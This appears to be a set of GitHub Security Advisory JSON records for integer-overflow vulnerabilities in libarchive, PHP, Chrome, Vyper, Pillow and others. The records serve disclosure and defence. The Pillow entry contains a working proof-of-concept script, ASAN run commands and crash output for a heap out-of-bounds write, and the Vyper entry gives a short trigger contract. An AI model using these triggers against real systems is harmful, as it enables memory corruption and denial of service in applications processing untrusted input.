CWE-190

{
  "affected": [],
  "aliases": [
    "CVE-2016-4300"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2016-09-21T14:25:00Z",
    "severity": "HIGH"
  },
  "details": "Integer overflow in the read_SubStreamsInfo function in archive_read_support_format_7zip.c in libarchive before 3.2.1 allows remote attackers to execute arbitrary code via a 7zip file with a large number of substreams, which triggers a heap-based buffer overflow.",
  "id": "GHSA-6qg7-x2gx-6jfr",
  "modified": "2025-04-12T13:04:25Z",
  "published": "2022-05-17T00:27:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-4300"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libarchive/libarchive/issues/718"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libarchive/libarchive/commit/e79ef306afe332faf22e9b442a2c6b59cb175573"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1348439"
    },
    {
      "type": "WEB",
      "url": "https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00062\u0026languageid=en-fr"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201701-03"
    },
    {
      "type": "WEB",
      "url": "http://blog.talosintel.com/2016/06/the-poisoned-archives.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2016-1844.html"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2016/dsa-3657"
    },
    {
      "type": "WEB",
      "url": "http://www.oracle.com/technetwork/topics/security/bulletinjul2016-3090568.html"
    },
    {
      "type": "WEB",
      "url": "http://www.oracle.com/technetwork/topics/security/linuxbulletinjul2016-3090544.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/91326"
    },
    {
      "type": "WEB",
      "url": "http://www.talosintel.com/reports/TALOS-2016-0152"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2016-4345"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2016-05-22T01:59:00Z",
    "severity": "CRITICAL"
  },
  "details": "Integer overflow in the php_filter_encode_url function in ext/filter/sanitizing_filters.c in PHP before 7.0.4 allows remote attackers to cause a denial of service or possibly have unspecified other impact via a long string, leading to a heap-based buffer overflow.",
  "id": "GHSA-6qgj-3qf4-r2jj",
  "modified": "2022-05-17T03:54:53Z",
  "published": "2022-05-17T03:54:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-4345"
    },
    {
      "type": "WEB",
      "url": "https://bugs.php.net/bug.php?id=71637"
    },
    {
      "type": "WEB",
      "url": "http://php.net/ChangeLog-7.php"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2016/04/28/2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-2743"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-01-02T23:15:00Z",
    "severity": "HIGH"
  },
  "details": "Integer overflow in Window Manager in Google Chrome on Chrome OS and Lacros prior to 104.0.5112.79 allowed a remote attacker who convinced a user to engage in specific UI interactions to perform an out of bounds memory write via crafted UI interactions. (Chrome security severity: High)",
  "id": "GHSA-6qpx-r9mr-g6jw",
  "modified": "2023-01-09T21:30:22Z",
  "published": "2023-01-03T00:30:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2743"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2022/08/stable-channel-update-for-desktop.html"
    },
    {
      "type": "WEB",
      "url": "https://crbug.com/1316960"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-43238"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-02T19:20:10Z",
    "severity": "MODERATE"
  },
  "details": "An integer overflow was addressed with improved input validation. This issue is fixed in macOS Sequoia 15.6, macOS Sonoma 14.7.7, macOS Ventura 13.7.7. An app may be able to cause unexpected system termination.",
  "id": "GHSA-6qw7-vfjm-2g92",
  "modified": "2026-04-02T21:32:52Z",
  "published": "2026-04-02T21:32:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43238"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/124149"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/124150"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/124151"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-22480"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-02-25T19:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "The interface of a certain HarmonyOS module has an integer overflow vulnerability. Successful exploitation of this vulnerability may lead to heap memory overflow.",
  "id": "GHSA-6qwq-gh52-w4xj",
  "modified": "2022-03-17T00:05:12Z",
  "published": "2022-02-26T00:00:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22480"
    },
    {
      "type": "WEB",
      "url": "https://device.harmonyos.com/en/docs/security/update/security-bulletins-202109-0000001196270727"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2018-13621"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-07-09T06:29:00Z",
    "severity": "HIGH"
  },
  "details": "The mintToken function of a smart contract implementation for SoundTribeToken, an Ethereum token, has an integer overflow that allows the owner of the contract to set the balance of an arbitrary user to any value.",
  "id": "GHSA-6qx2-v4xv-vx7c",
  "modified": "2022-05-14T03:02:13Z",
  "published": "2022-05-14T03:02:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-13621"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BlockChainsSecurity/EtherTokens/blob/master/GEMCHAIN/mint%20integer%20overflow.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BlockChainsSecurity/EtherTokens/tree/master/SoundTribeToken"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-29886"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190",
      "CWE-680"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-08-05T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "An integer overflow vulnerability exists in the way ESTsoft Alyac 2.5.8.544 parses OLE files. A specially-crafted OLE file can lead to a heap buffer overflow, which can result in arbitrary code execution. An attacker can provide a malicious file to trigger this vulnerability.",
  "id": "GHSA-6r2p-g46p-77hr",
  "modified": "2022-08-12T00:01:24Z",
  "published": "2022-08-06T00:00:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29886"
    },
    {
      "type": "WEB",
      "url": "https://talosintelligence.com/vulnerability_reports/TALOS-2022-1533"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2017-9832"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-06-24T00:29:00Z",
    "severity": "MODERATE"
  },
  "details": "An integer overflow vulnerability in ptp-pack.c (ptp_unpack_OPL function) of libmtp (version 1.1.12 and below) allows attackers to cause a denial of service (out-of-bounds memory access) or maybe remote code execution by inserting a mobile device into a personal computer through a USB cable.",
  "id": "GHSA-6r64-q62g-cg7v",
  "modified": "2022-05-13T01:27:27Z",
  "published": "2022-05-13T01:27:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-9832"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/04/msg00003.html"
    },
    {
      "type": "WEB",
      "url": "https://sourceforge.net/p/libmtp/mailman/message/35729062"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "vyper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.3.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-32058"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-05-12T20:21:35Z",
    "nvd_published_at": "2023-05-11T21:15:10Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nDue to missing overflow check for loop variables, by assigning the iterator of a loop to a variable, it is possible to overflow the type of the latter.\n\nIn the following example, calling `test` returns `354`, meaning that the variable `a` did store `354` a value out of bound for the type `uint8`.\n\n```Vyper\n@external\ndef test() -\u003e uint16:\n    x:uint8 = 255\n    a:uint8 = 0\n    for i in range(x, x+100):\n        a = i\n    return convert(a,uint16)\n```\n\nThe issue seems to happen only in loops of type `for i in range(a, a + N)` as in loops of type `for i in range(start, stop)` and `for i in range(stop)`, the compiler is able to raise a `TypeMismatch` when trying to overflow the variable.\n\nthanks to @trocher for reporting\n\n### Patches\n\npatched in 3de1415ee77a9244eb04bdb695e249d3ec9ed868\n\n### Workarounds\n\n ",
  "id": "GHSA-6r8q-pfpv-7cgj",
  "modified": "2024-11-19T16:32:38Z",
  "published": "2023-05-12T20:21:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vyperlang/vyper/security/advisories/GHSA-6r8q-pfpv-7cgj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32058"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vyperlang/vyper/commit/3de1415ee77a9244eb04bdb695e249d3ec9ed868"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/vyper/PYSEC-2023-78.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vyperlang/vyper"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Vyper vulnerable to integer overflow in loop"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "12.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59199"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190",
      "CWE-787"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T23:09:53Z",
    "nvd_published_at": "2026-07-14T16:17:01Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nPillow\u0027s public image coordinate APIs can trigger a native heap out-of-bounds\nwrite when given coordinates near the signed 32-bit integer limits. In 4-byte\npixel modes such as `RGBA`, this becomes a controlled backward heap underwrite:\nfor a source image of width `W`, Pillow writes `4 * W` attacker-controlled bytes\nstarting `4 * W` bytes before the destination row pointer. With successful large\nimage allocation, the theoretical upper bound is ~2 GiB backwards from\nthe destination row.\n\nMinimal public API trigger:\n\n```python\nfrom PIL import Image\n\nINT_MIN = -(1 \u003c\u003c 31)\n\nsrc = Image.new(\"RGBA\", (2, 1), (0x41, 0x42, 0x43, 0x44))\ndst = Image.new(\"RGBA\", (8, 1))\ndst.paste(src, ((1 \u003c\u003c 31) - 2, 0, INT_MIN, 1))\n```\n\nThe same root cause is also reachable through `Image.crop()` and\n`Image.alpha_composite()`. No private API, ctypes, custom Python object, or\nmalformed image file is needed.\n\nThis has been confirmed as an ASAN heap-buffer-overflow write. On normal\nnon-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts with\n`double free or corruption (out)`\n\n### Details\n\n`src/PIL/Image.py:paste()` accepts a 4-tuple box and passes it to the native\n`ImagingCore.paste()` method:\n\n```python\nself.im.paste(source, box)\n```\n\n`src/_imaging.c:_paste()` parses the four Python coordinates into signed `int`\nvalues and calls `ImagingPaste()`:\n\n```c\nint x0, y0, x1, y1;\nPyArg_ParseTuple(args, \"O(iiii)|O!\", \u0026source, \u0026x0, \u0026y0, \u0026x1, \u0026y1, ...);\nstatus = ImagingPaste(self-\u003eimage, PyImaging_AsImaging(source), ..., x0, y0, x1, y1);\n```\n\n`src/libImaging/Paste.c:ImagingPaste()` computes and clips the region using\nsigned `int` arithmetic:\n\n```c\nxsize = dx1 - dx0;\nysize = dy1 - dy0;\n\nif (dx0 + xsize \u003e imOut-\u003exsize) {\n    xsize = imOut-\u003exsize - dx0;\n}\n```\n\nWith `dx0 = 2147483646` and `dx1 = -2147483648`, `dx1 - dx0` wraps to `2`.\nThat matches the 2-pixel source image, so the size check passes. The later\n`dx0 + xsize` clip check wraps around and does not reject the out-of-bounds\ndestination.\n\nFor 4-byte pixel modes such as `RGBA`, the paste loop then multiplies `dx` by\n`pixelsize`:\n\n```c\ndx *= pixelsize;\nxsize *= pixelsize;\nmemcpy(imOut-\u003eimage[y + dy] + dx, imIn-\u003eimage[y + sy] + sx, xsize);\n```\n\nFor the minimal PoC, this writes 8 attacker-controlled bytes 8 bytes before the\ndestination row allocation.\n\nThe primitive scales with the attacker-controlled source width:\n\n```text\nsource width = W\nbox = ((1 \u003c\u003c 31) - W, 0, INT_MIN, 1)\n\nC destination offset = -4 * W\nC memcpy size        =  4 * W\nwrite range          = [row_start - 4W, row_start)\n```\n\nExamples for `RGBA`:\n\n```text\nW = 2         -\u003e writes 8 bytes before the row\nW = 1024      -\u003e writes 4096 bytes before the row\nW = 65536     -\u003e writes 256 KiB before the row\nW = 1000000   -\u003e writes about 4 MiB before the row\n```\n\nPillow\u0027s image creation guard currently limits `xsize` to roughly\n`INT_MAX / 4 - 1`, so the theoretical upper bound for this `RGBA` underwrite is\n`2,147,483,640` bytes before the destination row pointer. In practice, the\nusable range depends on memory availability, allocator layout, and process heap\nstate.\n\nTwo other documented APIs reach the same sink:\n\n```python\n# Image.crop() path\nleft = INT_MIN + 2\nImage.new(\"RGBA\", (2, 1)).crop((left, 0, left + 2, 1))\n\n# Image.alpha_composite() path, via its internal crop()\nbase = Image.new(\"RGBA\", (2, 1))\nover = Image.new(\"RGBA\", (2, 1), (0x41, 0x42, 0x43, 0x44))\nbase.alpha_composite(over, dest=(left, 0))\n```\n\n`Image.crop()` keeps `right - left` small, so the Python decompression-bomb\ncheck allows it. `src/libImaging/Crop.c` then computes wrapped paste\ncoordinates and calls `ImagingPaste()`.\n\n### PoC\n\nThe following standalone script exercises all three public API paths. Save it\nas `b021_poc.py` and run it with `paste`, `crop`, or `alpha`.\n\n```python\n#!/usr/bin/env python3\nimport argparse\nimport sys\n\nfrom PIL import Image\n\n\nINT_MIN = -(1 \u003c\u003c 31)\n\n\ndef rgba_pattern(width):\n    out = bytearray()\n    for i in range(width):\n        out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44))\n    return bytes(out)\n\n\ndef main():\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\n        \"variant\",\n        choices=(\"paste\", \"crop\", \"alpha\"),\n        nargs=\"?\",\n        default=\"paste\",\n    )\n    parser.add_argument(\"-w\", \"--width\", type=int, default=2)\n    args = parser.parse_args()\n\n    width = args.width\n    src = Image.frombytes(\"RGBA\", (width, 1), rgba_pattern(width))\n\n    if args.variant == \"paste\":\n        box = ((1 \u003c\u003c 31) - width, 0, INT_MIN, 1)\n        dst = Image.new(\"RGBA\", (max(8, width), 1), (0, 0, 0, 0))\n        print(f\"variant=paste box={box}\")\n        print(f\"expected C dst offset={-4 * width}, write_size={4 * width}\")\n        sys.stdout.flush()\n        dst.paste(src, box)\n        print(\"paste returned; first row:\", dst.tobytes().hex())\n\n    elif args.variant == \"crop\":\n        left = INT_MIN + width\n        box = (left, 0, left + width, 1)\n        print(f\"variant=crop box={box}\")\n        sys.stdout.flush()\n        out = src.crop(box)\n        print(\"crop returned; output:\", out.tobytes().hex())\n\n    else:\n        dest = (INT_MIN + width, 0)\n        dst = Image.new(\"RGBA\", (max(8, width), 1), (0, 0, 0, 0))\n        print(f\"variant=alpha dest={dest}\")\n        sys.stdout.flush()\n        dst.alpha_composite(src, dest=dest)\n        print(\"alpha_composite returned; first row:\", dst.tobytes().hex())\n\n    sys.stdout.flush()\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nRun against an ASAN build:\n\n```bash\nenv ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \\\n  python b021_poc.py paste\n\nenv ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \\\n  python b021_poc.py crop\n\nenv ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \\\n  python b021_poc.py alpha\n```\n\nObserved ASAN signature for the direct `Image.paste()` path:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 8\npaste /out/src/src/libImaging/Paste.c:59\nImagingPaste /out/src/src/libImaging/Paste.c:323\n_paste /out/src/src/_imaging.c:1461\n0x... is located 8 bytes before 32-byte region\n```\n\nOn non-ASAN Pillow `12.2.0` and local `12.3.0.dev0`, the direct minimal\n`Image.paste()` trigger returns from `paste()` and then the process aborts\nduring cleanup with:\n\n```text\ndouble free or corruption (out)\nAborted (core dumped)\n```\n\nObserved ASAN signature for the `Image.crop()` and `Image.alpha_composite()`\npaths:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 8\npaste /out/src/src/libImaging/Paste.c:59\nImagingPaste /out/src/src/libImaging/Paste.c:323\nImagingCrop /out/src/src/libImaging/Crop.c:57\n_crop /out/src/src/_imaging.c:1090\n```\n## Suggested fix\n\nAvoid signed overflow in paste/crop coordinate arithmetic. Use checked\narithmetic or a wider type before calculating widths and clipped endpoints.\n\nFor example, reject boxes whose endpoint subtraction cannot be represented\ncleanly, and clip using non-overflowing comparisons:\n\n```c\nint64_t xsize64 = (int64_t)dx1 - dx0;\nint64_t ysize64 = (int64_t)dy1 - dy0;\n\nif (xsize64 \u003c 0 || ysize64 \u003c 0 || xsize64 \u003e INT_MAX || ysize64 \u003e INT_MAX) {\n    return ImagingError_ValueError(\"bad box\");\n}\n```\n\n`ImagingCrop()` should receive the same treatment for `sx1 - sx0`,\n`dx0 = -sx0`, and `dx1 = imIn-\u003exsize - sx0`.\n\n### Impact\n\nThis is a heap out-of-bounds write in Pillow\u0027s native C extension, reachable\nthrough documented public image APIs.\n\nApplications are impacted if an untrusted user can control image operation\ncoordinates passed to Pillow, for example crop boxes, paste boxes, or overlay\npositions. The bytes written in the direct `Image.paste()` variant are copied\nfrom the source image, so attacker-controlled source pixels can influence the\nout-of-bounds write. For `RGBA`, the write is a backward heap underwrite whose\noffset and length are both `4 * source_width`, bounded in practice by successful\nimage allocation and heap layout.",
  "id": "GHSA-6r8x-57c9-28j4",
  "modified": "2026-07-20T23:09:53Z",
  "published": "2026-07-20T23:09:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-6r8x-57c9-28j4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59199"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/pull/9703"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/ceefc348eb3c3844c7f9796ef2cc3a7dd5fbba7b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3451.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-pillow/Pillow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/releases/tag/12.3.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via signed coordinate overflow"
}